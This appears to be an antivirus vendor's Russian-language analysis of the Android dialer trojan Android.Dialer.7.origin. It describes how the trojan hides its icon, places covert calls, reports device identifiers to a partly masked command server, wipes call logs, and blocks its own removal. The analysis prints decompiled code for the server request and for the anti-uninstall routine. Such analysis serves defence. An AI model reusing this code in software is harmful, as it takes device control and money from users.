Вредоносная программа-дозвонщик, скрытно совершающая звонки на различные телефонные номера. Может распространяться под видом приложения категории «для взрослых».
Установка и запуск
При установке на мобильное Android-устройство Android.Dialer.7.origin помещает на главный экран операционной системы пустой ярлык, не имеющий собственного изображения-иконки, а также подписи. После запуска троянца этот ярлык удаляется.
В ряде случаев после своего запуска Android.Dialer.7.origin может продемонстрировать сообщение об ошибке доступа к запрошенной услуге:
Вредоносная деятельность
Троянец функционирует на зараженном мобильном устройстве в качестве системного сервиса, который активируется как при нажатии пользователем на ярлык, принадлежащий вредоносной программе, так и автоматически, при срабатывании ряда системных событий:
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.BATTERY_OKAY" />
<action android:name="android.intent.action.BATTERY_LOW" />
<action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
С определенной периодичностью этот сервис осуществляет звонки на номер 803402470, указанный в настройках Android.Dialer.7.origin, однако троянец способен совершать соединение и с другими номерами, получая информацию о них с управляющего сервера, расположенного по адресу http://api.[xxx]aly.com. Дозвонщик может отправлять различные post-запросы на этот сервер, соединяясь со следующими веб-адресами:
- http://api.[xxx]aly.com/ws/install/
- http://api.[xxx]aly.com/ws/event/
- http://api.[xxx]aly.com/ws/status/
- http://api.[xxx]aly.com/ws/update/
Каждый из этих post-запросов содержат определенные параметры. Например, запрос по адресу http://api.[xxx]aly.com/ws/install/ выглядит следующим образом:
((List)v0).add(new BasicNameValuePair("av", g.a(String.valueOf(Build$VERSION.SDK_INT))));
((List)v0).add(new BasicNameValuePair("vc", g.a(g.e(this.a))));
((List)v0).add(new BasicNameValuePair("vn", g.a(g.f(this.a))));
((List)v0).add(new BasicNameValuePair("idpro", g.a(MyApplication.j())));
((List)v0).add(new BasicNameValuePair("aid", g.a(g.a(this.a))));
((List)v0).add(new BasicNameValuePair("ta", g.a(g.b(this.a))));
((List)v0).add(new BasicNameValuePair("de", g.a(g.c(this.a))));
((List)v0).add(new BasicNameValuePair("op", g.a(g.d(this.a))));
((List)v0).add(new BasicNameValuePair("guid", g.a(g.a())));
((List)v0).add(new BasicNameValuePair("name", g.a(this.a.getPackageName())));
((List)v0).add(new BasicNameValuePair("md", g.a(Build.MODEL)));
((List)v0).add(new BasicNameValuePair("ct", g.a(g.g(this.a))));
((List)v0).add(new BasicNameValuePair("ref",
g.a(MyApplication.a.getString("referrer", "0"))));
В ответ на отправленный запрос Android.Dialer.7.origin может получить ответ в формате json (JavaScript Object Notation), содержащий новый номер, с которым требуется установить телефонное соединение.
Троянец скрывает свою вредоносную деятельность, удаляя всю информацию о выполненных вызовах из журнала звонков, а также системных логов.
Противодействие удалению
Android.Dialer.7.origin обладает весьма эффективным механизмом защиты против своего удаления. Каждые 0,5 секунды троянец проверяет, запущен ли раздел системных параметров, ответственный за управление приложениями и, если это так, возвращает пользователя к главному экрану операционной системы, не давая выполнить никаких действий с установленными программами:
public final void a(Context arg6) {
List v1 = arg6.getSystemService("activity").getRunningTasks(1);
String v2 = v1.get(0).topActivity.getClassName();
v1.get(0).topActivity.getPackageName().getClass();
new StringBuilder("VISTA ES:").append(v1.get(0).topActivity.getClassName()).toString();
if((v2.equals("com.android.packageinstaller.UninstallerActivity")) ||
(v2.equals("com.sec.android.app.controlpanel.activity.JobManagerActivity"))
|| (v2.equals("com.android.settings.SubSettings")) ||
(v2.equals("com.android.settings.applications.RunningServiceDetails"))
|| (v2.equals("com.android.settings.RunningServices")) ||
(v2.equals("com.android.settings.ManageApplications"))
|| (v2.equals("com.android.settings.applications.InstalledAppDetails"))
|| (v2.equals("com.android.packageinstaller.PackageInstallerActivity"))) {
Intent v0 = new Intent();
v0.addFlags(268435456);
v0.setAction("android.intent.action.MAIN");
v0.addCategory("android.intent.category.HOME");
this.c.startActivity(v0);
}
}